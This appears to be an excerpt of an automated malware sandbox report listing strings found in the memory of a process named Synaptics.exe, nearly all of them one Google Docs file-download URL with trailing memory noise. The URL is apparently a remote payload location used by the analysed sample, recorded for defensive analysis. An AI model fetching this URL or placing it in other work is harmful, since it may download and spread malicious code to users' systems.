Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2475023226.000000000D60E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFj
Source: Synaptics.exe, 00000002.00000002.2452727101.0000000007073000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFk
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFq
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFz
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGf
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH:5.
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH?
Source: Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI/b
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI~
Source: Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJd
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKk
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMh
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMo
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadName
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNpd
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNy
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.0000000000675000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO6
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO=k_
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOa
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOe
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2515175472.000000001B47E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2514387079.000000001AE3E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPj
Source: Synaptics.exe, 00000002.00000002.2452727101.0000000007073000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPk
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPq
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPz
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1770138974.000000000543D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ0
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQf
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR?
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRn
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRw
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSan
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSe
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSec-Cq
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSecurZ
Source: Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTh
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadThe
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1770138974.000000000543D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU/
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUIE.x
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUTZ
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUk
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVGRAy
Source: Synaptics.exe, 00000002.00000002.2535106563.000000001CFE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVk&export=download
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWI
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWo
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXS
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY6
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY=
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYa
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYe
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFAD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ7
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZf
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZo
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_?
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_aD
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_g
